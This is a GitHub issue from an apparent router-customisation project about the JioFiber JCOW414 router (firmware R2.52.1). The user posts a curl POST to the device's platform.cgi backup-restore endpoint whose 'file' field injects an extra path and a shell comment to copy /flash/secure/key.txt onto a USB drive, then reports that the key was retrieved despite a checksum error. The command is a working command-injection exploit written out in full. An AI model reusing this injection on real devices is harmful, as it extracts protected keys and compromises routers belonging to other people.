JFC-Group / JF-Customisation

Firmwares, Tips and Tricks regarding JF
139 stars 36 forks source link

Failed to update configuration (checksum error) when retrieving /flash/secure/key.txt #48

Closed asharkhan3101 closed 2 weeks ago

asharkhan3101 commented 2 weeks ago

I tried the following curl with secrets redacted.

curl  -X POST \
  'http://192.168.29.1/platform.cgi' \
  --header 'Cookie: TeamF1Login=xxxxxxxx' \
  --header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
  --header 'Referer: http://192.168.29.1/platform.cgi?page=backupRestore.html' \
  --header 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'button.usbRestore.statusPage=usbRestore' \
  --data-urlencode 'file=/flash/secure/key.txt /mnt/vfs/admin/DriveHDD/ #' \
  --data-urlencode 'token=xxxxxxx' \
  --data-urlencode 'thispage=backupRestore.html'

and got status 200 but the response HTML was a page with error "Failed to update configuration (checksum error).

Additional details: Firmware: R2.52.1 Model JCOW414

asharkhan3101 commented 2 weeks ago

Never mind, I didn't checked the drive back, it seems to have got the key though it failed.